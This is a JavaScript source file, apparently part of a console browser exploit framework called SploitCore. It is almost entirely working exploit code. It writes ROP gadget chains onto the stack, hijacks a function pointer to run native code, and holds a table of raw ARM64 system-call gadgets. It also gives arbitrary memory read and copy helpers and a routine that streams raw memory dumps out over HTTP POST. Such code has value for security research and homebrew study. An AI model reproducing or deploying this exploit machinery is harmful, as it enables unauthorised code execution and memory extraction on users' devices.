	this.write8(returngadg, dumparea, 0x3A0 >> 2);                        // Write return gadget to dumparea + 0x3A0
	this.write8(load_and_str_x8, sp, (0x210 + 0x18) >> 2);                   // Load X30 with LD, STR X8
	this.write8(utils.add2(savearea, 0xC0), sp, (0x230 + 0x0) >> 2);         // Load X20 with savearea + 0xC0 (saved X24)
	this.write8(utils.add2(dumparea, 0x3A8), sp, (0x230 + 0x8) >> 2);     // Load X19 with dumparea + 0x3A8
	this.write8([0x00000000, 0xffff0000], dumparea, 0x3A8 >> 2);          // Write return gadget to dumparea + 0x3A8
	this.write8(load_and_str_x8, sp, (0x230 + 0x18) >> 2);                   // Load X30 with LD, STR X8
	this.write8(savearea, sp, (0x250 + 0x8) >> 2);                           // Load X19 with savearea
	this.write8(mov_x19_into_x0, sp, (0x250 + 0x18) >> 2);                   // Load X30 with mov x0, x19.
	this.write8(loadgadg, sp, (0x270 + 0x18) >> 2);                          // Load X30 with context load

	utils.dlog('Assigning function pointer');

	var funcaddr = this.getFuncAddr();
	utils.dlog('Function object at ' + utils.paddr(funcaddr));
	var curptr = this.read8(funcaddr, 8);
	this.write8(jaddr, funcaddr, 8);
	utils.dlog('Patched function address from ' + utils.paddr(curptr) + ' to ' + utils.paddr(this.read8(funcaddr, 8)));
	utils.dlog('Jumping.');
	this.func.apply(0x100, [0, 0, 0, 0, 0, 0, 0, 0, carr, 0, 0, 0, 0, 0, 0, 0, 0]);
	utils.dlog('Jumped back.');

	this.write8(curptr, funcaddr, 8);
	utils.dlog('Restored original function pointer.');

	var ret = this.read8(dumparea, 0x320 >> 2);

	if (dump_regs) {
		utils.log('Register dump post-code execution:');
		for (var i = 0; i <= 30; i++) {
			if (i === 0) {
				utils.log('X0: ' + utils.paddr(this.read8(dumparea, 0x320 >> 2)));
			} else if (i === 1) {
				utils.log('X1: ' + utils.paddr(this.read8(dumparea, 0x310 >> 2)));
			} else if (i === 2) {
				utils.log('X2: ' + utils.paddr(this.read8(dumparea, 0x318 >> 2)));
			} else if (i === 8) {
				utils.log('X8: ' + utils.paddr(this.read8(dumparea, 0x308 >> 2)));
			} else if (i === 9) {
				utils.log('X9: ' + utils.paddr(this.read8(dumparea, 0x328 >> 2)));
			} else if (i === 20) {
				utils.log('X20: ' + utils.paddr(this.read8(dumparea, 0x300 >> 2)));
			} else if (i === 16 || i === 19 || i === 29 || i === 30) {
				utils.log('X' + i + ': Not dumpable.');
			} else {
				utils.log('X' + i + ': ' + utils.paddr(this.read8(dumparea, (8 * i) >> 2)));
			}
		}
	}

	utils.dlog('Native code at ' + utils.paddr(funcptr) + ' returned: ' + utils.paddr(ret));

	this.free(context_load_struct);
	this.free(block_struct_0);
	this.free(block_struct_1);
	this.free(block_struct_2);
	this.free(block_struct_3);
	this.free(savearea);
	this.free(loadarea);
	this.free(dumparea);

	utils.dlog('Freed all buffers');

	utils.dlog('Forcing garbage collection...');
	this.gc();
	utils.dlog('Collected garbage!');

	return ret;
};

/**
	Call a specific svc with arguments
	@param {number} id - ID of the SVC
	@param {Array.<any>} args - Arguments to pass
	@param {boolean} dump_regs - Dump registers
 */
SploitCore.prototype.svc = function (id, args, dump_regs) {
	var svc_list = {
		0x01: [0xE0, 0x0F, 0x1F, 0xF8, 0x21, 0x00, 0x00, 0xD4],
		0x02: [0x41, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x03: [0x61, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x04: [0x81, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x05: [0xA1, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x06: [0xE1, 0x0F, 0x1F, 0xF8, 0xC1, 0x00, 0x00, 0xD4],
		0x07: [0xE1, 0x00, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x08: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x01, 0x00, 0xD4],
		0x09: [0x21, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x0A: [0x41, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x0B: [0x61, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x0C: [0xE0, 0x0F, 0x1F, 0xF8, 0x81, 0x01, 0x00, 0xD4],
		0x0D: [0xA1, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x0E: [0xE0, 0x07, 0xBF, 0xA9, 0xC1, 0x01, 0x00, 0xD4],
		0x0F: [0xE1, 0x01, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x10: [0x01, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x11: [0x21, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x12: [0x41, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x13: [0x61, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x14: [0x81, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x15: [0xE0, 0x0F, 0x1F, 0xF8, 0xA1, 0x02, 0x00, 0xD4],
		0x16: [0xC1, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x17: [0xE1, 0x02, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x18: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x03, 0x00, 0xD4],
		0x19: [0x21, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x1A: [0x41, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x1B: [0x61, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x1C: [0x81, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x1D: [0xA1, 0x03, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		// 0x1E: ,
		0x1F: [0xE0, 0x0F, 0x1F, 0xF8, 0xE1, 0x03, 0x00, 0xD4],
		// 0x20: ,
		0x21: [0x21, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x22: [0x41, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		// 0x23: 0x,
		// 0x24: 0x,
		0x25: [0xE0, 0x0F, 0x1F, 0xF8, 0xA1, 0x04, 0x00, 0xD4],
		0x26: [0xC1, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x27: [0xE1, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x28: [0x01, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x29: [0xE0, 0x0F, 0x1F, 0xF8, 0x21, 0x05, 0x00, 0xD4],
		// 0x2A-0x2B
		0x2C: [0x81, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x2D: [0xA1, 0x05, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		// 0x2E-0x4F
		0x50: [0xE0, 0x0F, 0x1F, 0xF8, 0x01, 0x0A, 0x00, 0xD4],
		0x51: [0x21, 0x0A, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6],
		0x52: [0x41, 0x0A, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6]
	};

	if (!(id in svc_list)) {
		throw new Error('Failed to call svc 0x' + id.toString(16) + '.');
	}

	return this.call(this.gadget(svc_list[id]), args, [], [], dump_regs);
};

/**
	TODO DOCS
 */
SploitCore.prototype.getTLS = function () {
	return this.call(this.gadget([0x60, 0xd0, 0x3b, 0xd5, 0xc0, 0x03, 0x5f, 0xd6]), []);
};

/**
	TODO DOCS
 */
SploitCore.prototype.str2buf = function (inp) {
	var len = inp.length + 1;
	var v = this.malloc(len);
	this.memview(v, len, function (view) {
		var u8b = new Uint8Array(view);
		for (var j = 0; j < len; ++j) { u8b[j] = inp.charCodeAt(j); }
		u8b[inp.length] = 0;
	});

	return v;
};

/**
	Initiate a memory dump over HTTP
	@param {u64} offset - Memory address to start from 
	@param {number} size - Number of bytes you wish to dump
	@param {string} fileName - Name of file, used to set Content-Disposition
 */
SploitCore.prototype.memdump = function (offset, size, fileName) {
	if(ArrayBuffer.isView(offset) || offset instanceof ArrayBuffer) {
		offset = this.getArrayBufferAddr(offset);
	}
	var totalSize = utils.trunc32(size);
	var idx = 0;

	utils.dlog('Dumping memory!');
	for (var idx = 0; idx < totalSize; idx += 0x800000) {
		size = totalSize - idx;
		size = size > 0x800000 ? 0x800000 : size;

		this.memview(utils.add2(offset, idx), size, function (ab) {
			var view = new Uint8Array(ab);
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '/filedump', false);
			xhr.setRequestHeader('Content-Type', 'application/octet-stream');
			xhr.setRequestHeader('Content-Disposition', fileName);
			xhr.send(view);
		});
	}
	utils.dlog('Dumped memory succesfully!');
};

/**
	Forces the garbage collector to run
 */
SploitCore.prototype.gc = function () {
	utils.dlog('Beginning GC force');
	function sub (depth) {
		utils.dlog('GC force ' + depth);
		if (depth > 0) {
			var arr = [];
			utils.dlog('Building...');
			for (var i = 0; i < 10; ++i) {
				arr.push(new Uint8Array(0x40000));
			}
			utils.dlog('Shifting...');
			while (arr.length > 0) {
				arr.shift();
			}
			sub(depth - 1);
		}
	}
	sub(20);
	utils.dlog('GC should be solid');
};

/**
	Reads a string from memory
	@param {u64} addr - Address to start from
	@param {number} length - Number of bytes to read
	@returns {string}
 */
SploitCore.prototype.readString = function (addr, length) {
	if (arguments.length === 1) {
		length = -1;
	}

	return this.memview(addr, 0xFFFFFFFF, function (view) {
		var u8b = new Uint8Array(view);
		var out = '';

		for (var i = 0; (length === -1 && u8b[i] !== 0) || (length !== -1 && i < length); i++) {
			out += String.fromCharCode(u8b[i]);
		}

		return out;
	});
};

/**
	Copy memory from one region to another
	@param {u64} dst - Base destination address
	@param {u64} src - Base source address
	@param {number} size - Number of bytes to copy
 */
SploitCore.prototype.memcpy = function (dst, src, size) {
	this.call(this.gadget('eb0301cb690940923f0102eb62020054c90200b4e80301aaea0300aa'), [dst, src, size]);
};

SploitCore.prototype.IFile = IFile;
SploitCore.prototype.IFileSystem = IFileSystem;
SploitCore.prototype.IDirectory = IDirectory;

module.exports = SploitCore;
